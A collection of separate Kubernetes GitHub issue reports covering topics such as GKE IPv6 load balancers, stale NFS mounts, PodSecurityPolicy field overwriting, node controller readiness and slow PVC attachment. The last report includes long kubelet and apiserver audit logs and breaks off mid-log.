is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r external load balancers created via a service record provision only an ipv4 address. according to the  gcp documentation  https://cloud.google.com/compute/docs/load-balancing/ipv6 , load balancers may be allocated an ipv6 address, however it appears these instructions only apply to gce configurations made manually through the console or cli, not those created and managed by the kubernetes engine.\r \r   what you expected to happen  :\r \r ipv6 addresses may be attached to the external load balancer.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a service with  spec.type: loadbalancer . an ephemeral ipv4 address will be allocated  which can also be promoted to a static address.  there is no pathway to creating an ipv6 address.\r \r   anything else we need to know?  :\r \r related code seems to be at https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.2-gke.3 \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : google's container-optimized

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r nfs server got restarted and caused the nfs mounts to be stale.  pod deletion hung with:\r    \r error: \ error cleaning subpath mounts for volume \\\ nfs-content\\\ : error reading /var/lib/kubelet/pods/redacted/volume-subpaths/nfs-content/redacted: lstat /var/lib/kubelet/pods/redacted/volume-subpaths/nfs-content/redacted/2: stale nfs file handle\ \r    \r \r   what you expected to happen  :\r i think the  subpath directory traversing  https://github.com/kubernetes/kubernetes/blob/v1.9.7/pkg/util/mount/mount_linux.go l780  needs to check for a  stale mount  https://github.com/kubernetes/kubernetes/blob/v1.9.7/pkg/volume/util/util.go l184 \r \r   how to reproduce it  as minimally and precisely as possible   :\r i have not been able to repro the stale nfs mount.  these are the steps i tried:\r 1. start a nfs-server using https://github.com/kubernetes/examples/tree/master/staging/volumes/nfs\r 2. create a pod using subpath with nfs. write data into the subpath.\r 3. restart the nfs-server pod\r 4. write more data into the subpath\r 5. delete pod\r \r in my test, the nfs mount is able to recover from the nfs server restarting.  maybe my next attempt to repro should bring the nfs server down for longer.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

address todo in https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/summary_test.go  from  28195

after  make release-skip-tests quick-release\r it generates a _output folder but the makefile for hypercube\r go/src/github.com/kubernetes/kubernetes/_output/release-stage/full/kubernetes/cluster/images/hyperkube\r \r it si trying to find the salt folder using relative path which is wrong\r \r found fodler under:\r /opt/opensource/worksplace/go/src/github.com/kubernetes/kubernetes/_output/release-stage/salt\r \r instead of \r opt/opensource/worksplace/go/src/github.com/kubernetes/kubernetes/_output/release-stage/full/kubernetes/cluster/images/hyperkube/ ../../saltbase/salt/generate-cert/make-ca-cert.sh\r \r possibel to detect and use variables instead of relative paths?\r \r echo 'current dir:/opt/opensource/worksplace/go/src/github.com/kubernetes/kubernetes/_output/release-stage/full/kubernetes/cluster/images/hyperkube '\r current dir:/opt/opensource/worksplace/go/src/github.com/kubernetes/kubernetes/_output/release-stage/full/kubernetes/cluster/images/hyperkube \r cp -r ./  /tmp/tmp.nhtpmlwjvc\r mkdir -p /tmp/tmp.nhtpmlwjvc/cni-bin /tmp/tmp.nhtpmlwjvc/addons /tmp/tmp.nhtpmlwjvc/addons/singlenode /tmp/tmp.nhtpmlwjvc/addons/multinode\r cp ../../saltbase/salt/generate-cert/make-ca-cert.sh /tmp/tmp.nhtpmlwjvc\r cp: cannot stat ‘../../saltbase/salt/generate-cert/make-ca-cert.sh’: no such file or directory\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/1631/ failed:  k8s.io  summary api when querying /stats/summary should report resource usage through the stats api {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:216 timed out after 60.000s. expected     <string>: summary to match fields: { .node.systemcontainers misc .memory: \texpected \t    <string>: memorystats \tto match fields: { \t.usagebytes: \t\texpected \t\t    <uint64>: 487424 \t\tto be >= \t\t    <int64>: 1000000 \t.workingsetbytes: \t\texpected \t\t    <uint64>: 487424 \t\tto be >= \t\t    <int64>: 1000000 \t.rssbytes: \t\texpected \t\t    <uint64>: 389120 \t\tto be >= \t\t    <int64>: 1000000 \t} \t }  /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:213       previous issues for this test:  34990

is this a request for help?  : no\r \r   is this a bug report or feature request?  : feature request\r \r after switching heapster from kube-admin to monitoring namespace:\r \r    \r $ kubectl top node\r error from server  notfound : the server could not find the requested resource  get services http:heapster: \r $ kubectl top pod\r error from server  notfound : the server could not find the requested resource  get services http:heapster: \r    \r \r using  --namespace  does not work either:\r \r    \r $ kubectl top pod --namespace=monitoring\r w0416 17:58:15.174555    1159 top_pod.go:190  metrics not available for pod monitoring/grafana-2017641066-rlq7c, age: 26m33.174541702s\r error: metrics not available for pod monitoring/grafana-2017641066-rlq7c, age: 26m33.174541702s\r $ kubectl top node --namespace=monitoring                                                                          17:58:36 \r error from server  notfound : the server could not find the requested resource  get services http:heapster: \r    \r \r   kubernetes version  : 1.6.1\r   environment  :\r -   cloud provider or hardware configuration  : bare-metal\r -   os   : ubuntu 16.04\r -   kernel   : linux vps343998 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm 1.6.1

in federation pre-submit tests  pull-kubernetes-federation-e2e-gce , we are seeing a class of failures in which the k8s cluster api server is failing to respond and timing out. \r    \r i0602 04:54:42.507  +++  0602 04:54:42  image: \ gcr.io/k8s-jkns-pr-bldr-e2e-gce-fdrtn/hyperkube-amd64:v1.8.0-alpha.0.2_40f0365408936e\ \r w0602 04:55:12.600  i0602 04:55:12.599537    3490 cached_discovery.go:126  skipped caching discovery info due to get https://35.188.205.233/api: dial tcp 35.188.205.233:443: i/o timeout\r w0602 04:55:12.600  f0602 04:55:12.599926    3490 helpers.go:120  error: couldn't get clientset to create rbac roles in the host cluster: get https://35.188.205.233/api: dial tcp 35.188.205.233:443: i/o timeout\r w0602 04:55:12.605  2017/06/02 04:55:12 util.go:131: step './federation/cluster/federation-up.sh' finished in 30.265002761s\r    \r once the k8s cluster reaches this condition all builds starts to fail and we need to recycle the k8s clusters to restore.\r also its interesting that it has links to load balancer service.\r \r the first failure we see actually times out waiting for creating loadbalancer type service.  8344  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46716/pull-kubernetes-federation-e2e-gce/8344/ \r subsequently all the build fails with above mentioned error messages.  8351 onwards \r \r this pattern is observed consistently now.\r \r cc @madhusudancs @csbell @kubernetes/sig-federation-bugs

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : podsecuritypolicy runasnonroot\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.7.0-beta, 1.8.0  head \r \r \r   environment  : enable podsecuritypolicy\r -   cloud provider or hardware configuration  : gce, probably any\r -   os    e.g. from /etc/os-release : gci\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  : the psp admission controller ignores the specified runasnonroot, and overwrites it.\r \r \r   what you expected to happen  : the admission controller is not supposed to overwrite user specified fields in the podsecuritycontext and securitycontext.\r \r \r   how to reproduce it    as minimally and precisely as possible : enable psp, and create a pod with  only  runasnonroot=false specified in a securitycontext.\r \r \r   anything else we need to know  :\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report?  :\r \r yes.\r \r \r   what happened  :\r \r 1. kubelet stopped posting node ready heatbeat\r \r 2. node controller updated node status to unknown\r \r 3. controller manager changed leader before node controller marking all pods notready on the unready node\r \r 4. pods on the notready node always in podready condition and resulting in service redirecting traffic to it.\r \r   what you expected to happen  :\r \r pods on the notready node should be marked as  podready=false  even if some errors occurred.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. kill kubelet in a node\r \r 2. kill controller manager leader after it updating node status to unkown but before marking all pods notready on the node.\r \r   anything else we need to know?  :\r \r if some errors occurred when node controller marking all pods notready on an unready node, it will leave these pods undisposed forever.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r i assume the related code block is here:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/node/nodecontroller.go l666-l671\r \r    \r // report node event.\r if currentreadycondition.status != v1.conditiontrue && observedreadycondition.status == v1.conditiontrue {\r     recordnodestatuschange nc.recorder, node, \ nodenotready\  \r     if err = markallpodsnotready nc.kubeclient, node ; err != nil {\r         utilruntime.handleerror fmt.errorf \ unable to mark all pods notready on node %v: %v\ , node.name, err  \r     }\r }\r    \r \r node controller will mark all pods not ready on unready node only when satisfy the condition:\r \r    \r currentreadycondition.status != v1.conditiontrue && observedreadycondition.status == v1.conditiontrue\r    \r \r if node controller leader update node status to unknown then it fails down, and the condition below will not be satisfied in the successor\r \r    \r observedreadycondition.status != v1.conditiontrue\r    \r \r so, node controller will never has chance to mark these pods notready.\r \r i am not sure why node controller should make sure   previous node status is ready   before marking pods not ready on unready nodes. it will leave some pods keep ready condition even if node is down in some corner cases.\r \r @gmarek @foxish @kevin-wangzefeng

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r as of now, we are reading scheduler_perf input data predicates and priorites that need to be evaluated  from hardcoded values. \r \r   what you expected to happen  :\r we need to read from a yaml file to switch on and off various predicates and priorities.\r \r \r 

  \r   what happened  :\r \r i created a pod that mounts a nfs backed volume.\r the particular nfs export is owned by user and group 1001 and has root squash.\r \r when applying  kubectl delete   or causing a pod termination by any other means , the pod gets stuck in state \ terminating\ \r \r   what you expected to happen  :\r \r expected the pod to terminate properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   create nfs export with ownership set to a particular user and group\r   create pod with nfs volume mount using the above export  changing the user to match the ownership \r    kubectl delete pod \r \r   anything else we need to know?  :\r \r i think this happens because  islikelynotmountpoint file string    in  mount_linux.go  is  lstat ing the mount's path with a  /..  appended.\r this causes the lstat to go through nfs, rather than actually using the local path, thus failing with \ permission denied\ : the actual log from the kubelet is\r    \r 12/12/2017 11:12:22 ame1212 11:12:22.601313   18419 nestedpendingoperations.go:264  operation for \ \\\ kubernetes.io/nfs/cfb07a81-dea2-11e7-9392-02e3d8a1a011-nfs\\\   \\\ cfb07a81-dea2-11e7-9392-02e3d8a1a011\\\  \  failed. no retries permitted until 2017-12-12 11:14:24.601260829 +0000 utc  durationbeforeretry 2m2s . error: unmountvolume.teardown failed for volume \ jenkins-home\   uniquename: \ kubernetes.io/nfs/cfb07a81-dea2-11e7-9392-02e3d8a1a011-nfs\   pod \ cfb07a81-dea2-11e7-9392-02e3d8a1a011\   uid: \ cfb07a81-dea2-11e7-9392-02e3d8a1a011\   : lstat /var/lib/kubelet/pods/cfb07a81-dea2-11e7-9392-02e3d8a1a011/volumes/kubernetes.io~nfs/nfs/..: permission denied\r    \r \r canonicalizing the path would solve the issue, although i'm not sure what other impact it might have.\r \r   environment  :\r - server version:  version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.3-rancher3\ , gitcommit:\ 772c4c54e1f4ae7fc6f63a8e1ecd9fe616268e16\ , gittreestate:\ clean\ , builddate:\ 2017-11-27t19:51:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release :  container-linux 1576.4.0 \r - kernel  e.g.  uname -a  :  linux host-172-16-0-10 4.13.16-coreos-r2  1 smp wed dec 6 04:27:34 utc 2017 x86_64 intel core processor  broadwell  genuineintel gnu/linux \r

 \r   what happened  :\r created a deployment with port definition\r    \r     \ ports\ :  \r     {\r        \ containerport\ : 18081,\r        \ protocol\ : \ tcp\ \r     }\r      ,\r    \r port is exposed in the docker container.\r \r    \r kubectl port-forward <pod-name> 18081:18081\r    \r and doing a curl request  http api exposed  works as it should be.\r \r exposed the service with  on azure, but for clusterip that shouldn't matter? \r    \r kubectl expose deployment <deployment-name> --type=clusterip\r    \r now trying to reach the pods in the deployment with the same curl command as in the port-forward but with hostname\r    \r curl http://<deployment-name>:18081/\r    \r curl responds with \r    \r failed to connect to <deployment-name> port 18081: connection refused\r    \r   what you expected to happen  :\r \r pod/deployment reachable with service name <deployment-name>  derived from deployment \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r kubernetes 1.8.2 on azure\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-09t07:26:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r azure\r \r kube-proxy prints this error/warning:\r  time=\ 2018-01-09t06:11:21z\  level=warning msg=\ running modprobe ip_vs failed with message:   , error: exec: \\\ modprobe\\\ : executable file not found in $path\ \r time=\ 2018-01-09t06:11:21z\  level=error msg=\ could not get ipvs family information from the kernel. it is possible that ipvs is not enabled in your kernel. native loadbalancing will not work until this is fixed.\  \r \r but according to the fix in 1.8.3 that shouldn't be the problem / have no impact?\r \r @kubernetes/sig-azure-bugs\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r today,  scheduler calculates equivalence hash of a pod once per node  https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/core/generic_scheduler.go l421 . this seems unnecessary and should be done once for all the nodes. \r \r   is this a bug report or feature request?  :\r \r  \r  \r cc: @resouer @misterikkit

feature request?  :\r   \r we need better validation for the podtemplatespec of the statefulset kind. currently its not using the default api validation for podtemplatespec because the volume claims will fail. we need to implement a solution that enables validation for the kind. the relevant code is  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/apps/validation/validation.go l55-l58 .\r

the kubelet should expose an api that allows a node agent to lookup a pod from an inet socket. this information could be exposed through the kubelet rest handler or through a hook in the network setup/teardown. this api will be used for secure caller id by node agents so the information exported must be up to date and correct.\r \r    \r @tallclair

 \r   what happened  :\r the kubelet command option description for pod-cidr shows the following\r \ for ipv6, the minimum length of the cluster or pod cidr is /66\ \r however, this /66 restriction was removed with pr  60089\r \r   what you expected to happen  :\r the command option should not display this restriction.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

bug report  :\r \r  \r   what happened  :\r when using a  pvc  with a  deployment , we observe a delay  that randomly vary between 15 sec and up to few minutes  between the volume's creation and when it is attached to the pod.\r \r   what you expected to happen  :\r the volume should be attached reasonably quickly after it's created, and within a predictible delay.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the manifest we used to reproduce the issue:\r \r    \r ---\r apiversion: apps/v1beta2\r kind: deployment\r metadata:\r   labels:\r     app-instance-id: app-test-xxxxx\r   name: app-test-xxxxx-redis\r spec:\r   progressdeadlineseconds: 150\r   replicas: 1\r   selector:\r     matchlabels:\r       app: app-test-xxxxx-redis\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       labels:\r         app: app-test-xxxxx-redis\r         app-instance-id: app-test-xxxxx\r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r               - matchexpressions:\r                 - key: \ kubernetes.io/hostname\ \r                   operator: in\r                   values:  \ node01\  \r       automountserviceaccounttoken: false\r       containers:\r       - image: redis:4-alpine\r         livenessprobe:\r           exec:\r             command:\r             - redis-cli\r             - ping\r           initialdelayseconds: 120\r         name: main\r         ports:\r         - containerport: 6379\r           name: redis\r         readinessprobe:\r           exec:\r             command:\r             - redis-cli\r             - ping\r           initialdelayseconds: 5\r         resources:\r           limits:\r             cpu: '1'\r             memory: 1gi\r           requests:\r             cpu: 100m\r             memory: 1gi\r         volumemounts:\r         - mountpath: \ /data\ \r           name: app-test-xxxxx-redis-pvc\r           readonly: false\r       imagepullsecrets:\r       - name: gitlab-registry\r       volumes:\r       - name: app-test-xxxxx-redis-pvc\r         persistentvolumeclaim:\r           claimname: app-test-xxxxx-redis\r ---\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   labels:\r     app-instance-id: app-test-xxxxx\r   name: app-test-xxxxx-redis\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 10gi\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-18t23:58:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r \r - cloud provider or hardware configuration:\r \r    bare metal   \r \r - os  e.g. from /etc/os-release :\r \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1688.5.3\r version_id=1688.5.3\r build_id=2018-04-03-0547\r pretty_name=\ container linux by coreos 1688.5.3  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux node01 4.14.32-coreos  1 smp tue apr 3 05:21:26 utc 2018 x86_64 intel r  xeon r  gold 6126 cpu @ 2.60ghz genuineintel gnu/linux\r    \r \r - install tools:\r \r    bootkube base setup   \r \r - others:\r \r       we're using a netapp san with   trident   https://github.com/netapp/trident  as pvc controller.\r       during our tests, it seem that the delay between the creation of the  pv  and when it's actually mounted to the pod can vary from  20s  to  >4min \r       when deleting and re-creating the  deployment   without deleting the  pvc  , we don't observe this issue, even when forcing a different node selector.\r \r - timeline:\r \r   1. the pv is seen by the kubelet\r   2. kubelet reports its new status to the apiserver  with the given volume in the  requestobject.volumesinuse  field \r   3. the  kube-controller-manager 's log report that the  node_status_updater  is  updating the list of  volumesattached .\r   4. the  kubelet 's logs show that the volume is successfully attached to the pod\r \r    \r  kubelet.log                      may 30 16:28:47 node01 kubelet-wrapper 24033 : i0530 16:28:47.102390   24033 reconciler.go:217  operationexecutor.verifycontrollerattachedvolume started for volume \ dev-app-test-xxxxx-redis-86590\   uniquename: \ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:42\   pod \ app-test-xxxxx-redis-695b4b774d-2979s\   uid: \ 8656d955-6426-11e8-90fc-005056bcaf95\  \r  kube-apiserver.log           2018-05-30t16:28:56.925236777z {\ kind\ :\ event\ ,\ apiversion\ :\ audit.k8s.io/v1beta1\ ,\ metadata\ :{\ creationtimestamp\ :\ 2018-05-30t16:28:56z\ },\ level\ :\ requestresponse\ ,\ timestamp\ :\ 2018-05-30t16:28:56z\ ,\ auditid\ :\ eaa186d0-8821-444c-abcc-dfbf503485ec\ ,\ stage\ :\ responsecomplete\ ,\ requesturi\ :\ /api/v1/nodes/node01/status\ ,\ verb\ :\ patch\ ,\ user\ :{\ username\ :\ kubelet\ ,\ groups\ : \ system:masters\ ,\ system:authenticated\  },\ sourceips\ : \ 10.1.44.136\  ,\ objectref\ :{\ resource\ :\ nodes\ ,\ name\ :\ node01\ ,\ apiversion\ :\ v1\ ,\ subresource\ :\ status\ },\ responsestatus\ :{\ metadata\ :{},\ code\ :200},\ requestobject\ :{\ status\ :{\ $setelementorder/conditions\ : {\ type\ :\ outofdisk\ },{\ type\ :\ memorypressure\ },{\ type\ :\ diskpressure\ },{\ type\ :\ ready\ } ,\ conditions\ : {\ lastheartbeattime\ :\ 2018-05-30t16:28:56z\ ,\ type\ :\ outofdisk\ },{\ lastheartbeattime\ :\ 2018-05-30t16:28:56z\ ,\ type\ :\ memorypressure\ },{\ lastheartbeattime\ :\ 2018-05-30t16:28:56z\ ,\ type\ :\ diskpressure\ },{\ lastheartbeattime\ :\ 2018-05-30t16:28:56z\ ,\ type\ :\ ready\ } ,\ images\ : {\ names\ : \ registry.ci.i.my-corp.io/apps/eigenv2@sha256:dd559a41e61a56cb026ef00260461441e05c2515f99a1e0b2024142fd3d15099\ ,\ registry.ci.i.my-corp.io/apps/eigenv2:2.0.7_auto_credentials_2\  ,\ sizebytes\ :3241810363},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:4eedca31e3813aaa070105b166f8039f67a12feb3243e4383972f0ed3a2e0f2b\ ,\ registry.ci.i.my-corp.io/apps/sigpage:4b9afd4a6015e21d7cc3ecfdaa9ddcf8692cd587\  ,\ sizebytes\ :2749328609},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:9e429a2254ab3c6aae883239c22d7cd83efc8d75983f0e65239b6cd01156da90\ ,\ registry.ci.i.my-corp.io/apps/sigpage:f1a089117eb7cb9f574cad5b0bfc2aef86effdd9\  ,\ sizebytes\ :2749326441},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:2edd1b74d7f166b58f06bc00252e6a5f703ed9129d90f825171b012c03325831\ ,\ registry.ci.i.my-corp.io/apps/sigpage:c4fc903af078837a47f003fadf38d48b37f5b605\ ,\ registry.ci.i.my-corp.io/apps/sigpage:e21cf8bc0af680cd4f4f323775000ecb3ee1facd\  ,\ sizebytes\ :2749326441},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:012d8c0a74f949301f698ab9c5cc99cec8ea2fd72b8dc151a2e7dbef426c164e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:a68e0acf28fa4c1a5980a712b5c197e643717106\  ,\ sizebytes\ :2749325758},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:6fb3d1ebcf0cadb53100f90351188292852c37f10e2869a81231bb9f6ef62d0c\ ,\ registry.ci.i.my-corp.io/apps/sigpage:83abf05709cf57d32f3bdbebfec7bbde1035b028\  ,\ sizebytes\ :2749325758},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:25494a871f8f3c32c720356901cd6c4503506be5d9224a9b786e60400c2b2446\ ,\ registry.ci.i.my-corp.io/apps/sigpage:8847bb9090203e6d6e7b40edff3dcadc83aa3fe4\ ,\ registry.ci.i.my-corp.io/apps/sigpage:d19ff5783406b80dea1dbe3c2f57f0f376def884\  ,\ sizebytes\ :2749325619},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:dd06ab19f5213c15cb0a2f4b10808b6aea9d44a5093befd54d9bcc6f81561a26\ ,\ registry.ci.i.my-corp.io/apps/sigpage:122791bef01c9dd74383f76d6a6a2b973d9fd49c\  ,\ sizebytes\ :2749324655},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:143d836b411a86522b6fecd23dda00f8331735759d06a7870e45cbb703405814\ ,\ registry.ci.i.my-corp.io/apps/sigpage:0bdcdff1afb27f912c05b1fd633a006a65f246f7\  ,\ sizebytes\ :2749324286},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:6b951dd0479018a69c18f3b86b59639dd78f4f6b0cb8661ac6adb610933d4c48\ ,\ registry.ci.i.my-corp.io/apps/sigpage:d493a029db35cb574789da1405994663b5ae40cc\  ,\ sizebytes\ :2749324241},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:14ab225b3649fb844bc0443152410acf79b15a0943616590f7376af4eff85cd8\ ,\ registry.ci.i.my-corp.io/apps/sigpage:29f7cdb95fabb76c15d1c635d5eadfc3d1060516\  ,\ sizebytes\ :2749324208},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:1381c34498d792276658f3f79cba8471444b4da2e01fc6cb007f437df5a12032\ ,\ registry.ci.i.my-corp.io/apps/sigpage:ab16ebef60c5d7d04d822728c783466f17192931\  ,\ sizebytes\ :2749324201},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:befbc6c06cd1fd2be764f886e624df581fba51595fa8b2c8de44e0228ae5c9a5\ ,\ registry.ci.i.my-corp.io/apps/sigpage:9418250cc5ae3b8e83b51d6acbae0a006759ffb7\  ,\ sizebytes\ :2749323635},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:ed9da553096d02719919ca9c373cd0744be44a343991c4c7251242b8aace0398\ ,\ registry.ci.i.my-corp.io/apps/sigpage:12cbd6430fb30c9f8b6cb1d0b5ad5021cbffa7c9\  ,\ sizebytes\ :2749321616},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:5b668aa7af54f1930ba7b067e1076312941c5a716724ce02a9ba591efdc2a95f\ ,\ registry.ci.i.my-corp.io/apps/sigpage:3d70b1fbaa1cce205a1051a0c01d829b4d2fb07f\  ,\ sizebytes\ :2749314538},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:15d2d60157efb69353f237abda9ceb5ddefc41955088286cfa39b5e91f4586d9\ ,\ registry.ci.i.my-corp.io/apps/sigpage:f41f434231099799f771501a2382c62657eb9ef2\  ,\ sizebytes\ :2749313855},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:4e7e5d3fe9f2b9097221c2637ee45385e159805e1f1c54336c15e957460fb454\ ,\ registry.ci.i.my-corp.io/apps/sigpage:d61f64b4cc2cdb460d7d04ebc757dacf2bec5507\  ,\ sizebytes\ :2749312827},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:c9fbf31444c17e46738616ab4b37f9c5712de0e54bbf0931e763fdc726eedacf\ ,\ registry.ci.i.my-corp.io/apps/sigpage:dc74646d353581f30928e64f324c25414d2cbade\  ,\ sizebytes\ :2749312799},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:6d95b09fe04178c745d00bfe0840c7880e99dad7bc9d01175446e989a976285a\ ,\ registry.ci.i.my-corp.io/apps/sigpage:e4aa1fe7c14466804900a77f16b5fd537ab26152\  ,\ sizebytes\ :2566387819},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:0f3f6cc9a8dc5db9c7d7851813da59335b7d4cb68ed44c609666d175d56c8981\ ,\ registry.ci.i.my-corp.io/apps/sigpage:91bead83d30bd0fcf9a02c1af4fad779f39b8182\  ,\ sizebytes\ :2566387754},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:5cf8c66c1ef595d8d81dc7f0daf1b35f6aa325fa0f76aea4dee3d8eebfc7900e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:212ac6a67fb8019b84c901a8402978d6480070c7\  ,\ sizebytes\ :2566370389},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:3acfe82f50f20955bc03f149ba8b539c5f3818afb934357e48b2022f62d3214d\ ,\ registry.ci.i.my-corp.io/apps/sigpage:a3f9dd813b36e643beb6f2d81f0191f3f5f5b68f\  ,\ sizebytes\ :2566369424},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:91e3538d3179a221348aaf63109dcd806eaa5b8afba755a1b28783367eb57e5e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:702057e655eb24ef3957bed7ffc4c508abc4f686\  ,\ sizebytes\ :2566369365},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:a6adbdb25844cd9c0a90c5b811fd94099a3804ecdc966b1bca1e40c667efd251\ ,\ registry.ci.i.my-corp.io/apps/sigpage:30cc6b261be324024a7dc07838ddc5ede663ff4f\  ,\ sizebytes\ :2566369203},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:956e0713745314fae79c797bd7ee6194b67cdc85eca31b0e1e4389222fd4895b\ 